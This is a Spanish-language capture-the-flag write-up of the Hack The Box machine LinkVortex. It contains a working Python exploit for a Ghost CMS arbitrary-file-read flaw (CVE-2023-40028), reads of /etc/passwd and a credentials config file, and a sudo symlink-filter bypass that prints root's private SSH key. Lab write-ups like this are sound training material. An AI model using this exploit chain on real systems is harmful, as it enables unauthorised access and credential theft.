Descripción
LinkVortex es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de subdominios para encontrar un repositorio Git oculto
- Fuga de credenciales en un repositorio de Git️
- Lectura de archivos arbitraria en el gestor de contenidos Ghost️
- Reutilización de contraseña en una cuenta Linux encontrada en un archivo de configuración de Ghost
- Escalada de Privilegios mediante la eliminación de unas restricciones de un script de Bash.️
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.39.160.
$ ping -c 3 10.129.39.160
PING 10.129.39.160 (10.129.39.160) 56(84) bytes of data.
64 bytes from 10.129.39.160: icmp_seq=1 ttl=63 time=132 ms
64 bytes from 10.129.39.160: icmp_seq=2 ttl=63 time=50.6 ms
64 bytes from 10.129.39.160: icmp_seq=3 ttl=63 time=50.2 ms
--- 10.129.39.160 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 50.243/77.567/131.872/38.399 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.39.160 -sS -oN nmap_scan Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.39.160
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 4.00 seconds
Obtenemos dos puertos abiertos, 22 y 80.️
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.39.160 -Pn -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.39.160
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.84 seconds
Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Agregamos la máquina descubierta al archivo /etc/hosts.️
$ echo '10.129.39.160 linkvortex.htb' | sudo tee -a /etc/hosts
Encontramos una instancia de Ghost CMS, utilizada para la publicación de artículos.️
Encontramos la consola de administración en el directorio /ghost, pero no tenemos credenciales para iniciar sesión. También podemos encontrar que si introducimos una dirección de correo electrónico inexistente, la aplicación nos devuelve un mensaje indicando que el correo electrónico no existe. Esto se puede utilizar para enumerar usuarios. Encontramos la cuenta admin@linkvortex.htb.️
Ahora podemos pasar a enumerar subdominios de linkvortex.htb.️
$ gobuster vhost -u linkvortex.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://linkvortex.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.linkvortex.htb Status: 200 [Size: 2538]
Encontramos uno dev.linvortex.htb, así que lo añadimos al archivo /etc/hosts.
$ echo '10.129.39.160 dev.linkvortex.htb' | sudo tee -a /etc/hosts
Por una sencilla enumeración, encontramos que el directorio /.git existe.️
$ curl -I http://dev.linkvortex.htb/.git/
HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=UTF-8
Vamos a volcar el repositorio de Git completo utilizando la herramienta de Python llamada git-dumper.️
$ virtualenv python
$ . python/bin/activate
$ pip install git-dumper
$ git-dumper http://dev.linkvortex.htb/.git git-repo
Moviendonos al repositorio, encontramos que un archivo fue creado Dockerfile.ghost y uno fue modificado authentication.test.js. También encontramos que estamos utilizando la versión 5.58.0 del software.️
$ cd git-repo
$ git status
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
$ git tag
v5.58.0
Revisamos el contenido para encontrar que el archivo Dockerfile.ghost contiene las instrucciones para crear el contenedor de Docker de Ghost. Cuando se construye el contenedor, su configuración se almacena en el archivo del contenedor /var/lib/ghost/config.production.json.️
$ cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh
ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]
Para el archivo authentication.test.js podemos verificar cambios con la herramienta diff.️
$ git diff HEAD ghost/core/test/regression/api/admin/authentication.test.js
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
const requestMock = nock('https://api.github.com')
.get('/repos/tryghost/dawn/zipball')
Encontramos que la contraseña por defecto, thisissupersafe, se cambia a OctopiFociPilfer45. Si regresamos al inicio de sesión anterior encontramos que esta es la contraseña para el usuario admin@linkvortex.htb y podemos acceder a la consola de administración.️

Explotación️
La versión instalada de Ghost, 5.58.0, es vulnerable a lectura de archivos arbitraria, CVE-2023-40028. Permite a los usuarios autenticados subir archivos que son enlaces simbólicos. Esto puede ser explotado para realizar una lectura de archivos arbitraria de cualquier archivo del sistema operativo. Un atacante puede crear un archivo ZIP malicioso que contenga un enlace simbólico a cualquier archivo, al visitar ese archivo, es posible entonces navegar por el sistema de archivos (con los privilegios del usuario actual). Tenemos una prueba de concepto de la vulnerabilidad creada por xSly en HackMD. Primero vamos a crear el script zipfile.py que creará el archivo ZIP malicioso.
import stat # since zipfile doesn't support symlinks by default
import zipfile
def create_zip_with_symlinks(output_zip_filename, symlink_details):
zipOut = zipfile.ZipFile(output_zip_filename, 'w', compression=zipfile.ZIP_DEFLATED)
for link_source, link_target in symlink_details:
zipInfo = zipfile.ZipInfo(link_source)
zipInfo.create_system = 3
unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
zipInfo.external_attr = unix_st_mode << 16
zipOut.writestr(zipInfo, link_target)
zipOut.close()
symlink_details = [
('content/images/malicious.jpg', '/')
]
create_zip_with_symlinks('spl0it.zip', symlink_details)
Luego creamos el archivo de explotación exploit.py con las variables adecuadas que aprovecharán la vulnerabilidad.️
import requests
import time
url_login = "http://linkvortex.htb/ghost/api/admin/session"
url_upload = "http://linkvortex.htb/ghost/api/admin/db"
# default admin creds of the bintami container
#curl -sSL https://raw.githubusercontent.com/bitnami/containers/main/bitnami/ghost/docker-compose.yml > docker-compose.yml
#docker-compose up -d
login_data = {
"username": "admin@linkvortex.htb",
"password": "OctopiFociPilfer45"
}
upload_files = {
"importfile": ("spl0it.zip", open("spl0it.zip", "rb").read(), "application/zip")
}
with requests.Session() as session:
# Login request
login_response = session.post(url_login, json=login_data,proxies={"http":"http://127.0.0.1:8080"}) # get an admin session
print(login_response.text)
# Upload request using the same session
upload_response = session.post(url_upload, files=upload_files,proxies={"http":"http://127.0.0.1:8080"}) # upload malicious zip
print(upload_response.text)
## now that everthing is done, we use that file as trigger point
time.sleep(1)
while 1:
filename = input("> ") # i.e: /etc/passwd
r = requests.get(f"http://linkvortex.htb/content/images/malicious.jpg/{filename}") # use malicious.jpg to read local files
print(r.text)
Podemos eliminar los parámetros de proxies={"http":"http://127.0.0.1:8080"} en las solicitudes si no tenemos un proxy que esté escuchando. Luego ejecutamos ambos scripts y podremos recuperar archivos remotos como /etc/passwd.️
$ python file.py
$ python exploit.py
Created
{"db":[],"problems":[]}
> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Vamos a utilizar la vulnerabilidad para leer el archivo de configuración de Ghost que vimos anteriormente, /var/lib/ghost/config.production.json.️
> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
}
Encontramos las credenciales de SMTP del usuario bob, con la contraseña fibber-talented-worth. Las credenciales se reutilizan para el usuario de Linux bob y podemos acceder a la máquina anfitriona utilizando SSH.️
$ ssh bob@linkvortex.htb
bob@linkvortex.htb's password:
...
bob@linkvortex:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
Post-Explotación️
Encontramos que el usuario bob puede ejecutar un script como usuario root, /opt/ghost/clean_symlink.sh, y solo pasando un archivo PNG en los parámetros.️
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Vamos a comprobar el contenido del archivo /opt/ghost/clean_symlink.sh.️
bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
Encontramos que el script comprueba si el archivo PNG pasado como parámetro es un enlace simbólico. Si es un enlace simbólico, comprueba si está enlazado a un directorio/archivo que contenga la cadena etc o root. Si es cierto, el enlace simbólico se elimina con el comando unlink. Si no, el enlace simbólico se mueve al directorio de cuarentena /var/quarantined y se muestran los contenidos del archivo si la variable CHECK_CONTENT está establecida en true.️
Nuestro objetivo es eludir estas limitaciones y leer el archivo /root/.ssh/id_rsa. Como el script está verificando las cadenas etc y root, crearemos un enlace simbólico al directorio /root/ desde otra carpeta, como /home/bob/administrator. Luego crearemos un enlace simbólico al archivo /home/bob/administrator/.ssh/id_rsa (/home/root/.ssh/id_rsa) como archivo PNG, que será pasado como parámetro del script Bash. Finalmente configuraremos la variable CHECK_CONTENT a true cuando ejecutemos el script Bash. Podremos recuperar la clave SSH privada del usuario root.️
bob@linkvortex:~$ cd /home/bob
bob@linkvortex:~$ ln -s /root/ /home/bob/administrator
bob@linkvortex:~$ ln -s /home/bob/administrator/.ssh/id_rsa /home/bob/photo.png
bob@linkvortex:~$ sudo CHECK_CONTENT=true bash /opt/ghost/clean_symlink.sh /home/bob/photo.png
Link found [ /home/bob/photo.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----
Podemos utilizar la clave SSH para iniciar sesión en la máquina como el usuario root.️
bob@linkvortex:~$ nano ssh_key
bob@linkvortex:~$ chmod 600 ssh_key
bob@linkvortex:~$ ssh -i ssh_key root@localhost
...
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la sesión de root, podemos recuperar las flags de user y root.️
root@linkvortex:~# cat /home/bob/user.txt
<REDACTED>
root@linkvortex:~# cat /root/root.txt
<REDACTED>